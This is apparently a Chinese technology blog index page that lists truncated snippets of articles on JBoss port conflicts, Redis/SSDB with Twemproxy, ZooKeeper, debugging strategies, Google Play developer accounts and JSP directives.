    服务端口冲突问题的解决方法，一般修改如下三个文件中的部分端口就可以了。   1、jboss5/server/default/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml   2、./server/default/deploy/jbossweb.sar/server.xml   3、.
  • 第三章 Redis/SSDB+Twemproxy安装与使用 jinnianshilongnian ssdbreidstwemproxy
    目前对于互联网公司不使用Redis的很少，Redis不仅仅可以作为key-value缓存，而且提供了丰富的数据结果如set、list、map等，可以实现很多复杂的功能；但是Redis本身主要用作内存缓存，不适合做持久化存储，因此目前有如SSDB、ARDB等，还有如京东的JIMDB，它们都支持Redis协议，可以支持Redis客户端直接访问；而这些持久化存储大多数使用了如LevelDB、RocksD
  • ZooKeeper原理及使用 liyonghui160com
               ZooKeeper是Hadoop Ecosystem中非常重要的组件，它的主要功能是为分布式系统提供一致性协调(Coordination)服务，与之对应的Google的类似服务叫Chubby。今天这篇文章分为三个部分来介绍ZooKeeper，第一部分介绍ZooKeeper的基本原理，第二部分介绍ZooKeeper
  • 程序员解决问题的60个策略 pda158 框架工作单元测试
    根本的指导方针 1. 首先写代码的时候最好不要有缺陷。最好的修复方法就是让 bug 胎死腹中。 良好的单元测试 强制数据库约束 使用输入验证框架 避免未实现的“else”条件 在应用到主程序之前知道如何在孤立的情况下使用   日志 2. print 语句。往往额外输出个一两行将有助于隔离问题。 3. 切换至详细的日志记录。详细的日
  • Create the Google Play Account sillycat Google
    Create the Google Play Account Having a Google account, pay 25$, then you get your google developer account. References: http://developer.android.com/distribute/googleplay/start.html https://p
  • JSP三大指令 vikingwei jsp
    JSP三大指令   一个jsp页面中，可以有0~N个指令的定义！ 1. page --> 最复杂：<%@page language="java" info="xxx"...%>   * pageEncoding和contentType：     > pageEncoding：它
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他